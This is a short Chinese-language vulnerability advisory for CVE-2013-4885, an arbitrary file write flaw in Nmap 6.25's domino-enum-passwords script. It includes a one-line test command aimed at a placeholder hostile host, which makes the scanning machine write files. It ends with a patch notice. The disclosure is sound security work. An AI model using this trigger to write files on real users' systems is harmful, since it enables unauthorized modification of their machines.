发布日期：2013-08-06
更新日期：2013-08-29
受影响系统：
Nmap Nmap 6.25
描述：
--------------------------------------------------------------------------------
BUGTRAQ ID: 62024
CVE(CAN) ID: CVE-2013-4885
nmap是一款用于网络发现（Network Discovery）和安全审计（Security Auditing）的网络安全工具，它是自由软件。
Nmap 6.25在http-domino-enum-passwords NSE脚本内存在任意文件上传漏洞，攻击者可利用此漏洞以当前用户权限写任意文件。
<*来源：Piotr Duszynski
链接：https://security-tracker.debian.org/tracker/CVE-2013-4885
*>
测试方法：
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
nmap --script domino-enum-passwords -p 80 <evil_host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret,domino-enum-passwords.idpath='/tmp'
建议：
--------------------------------------------------------------------------------
厂商补丁：
Nmap
----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：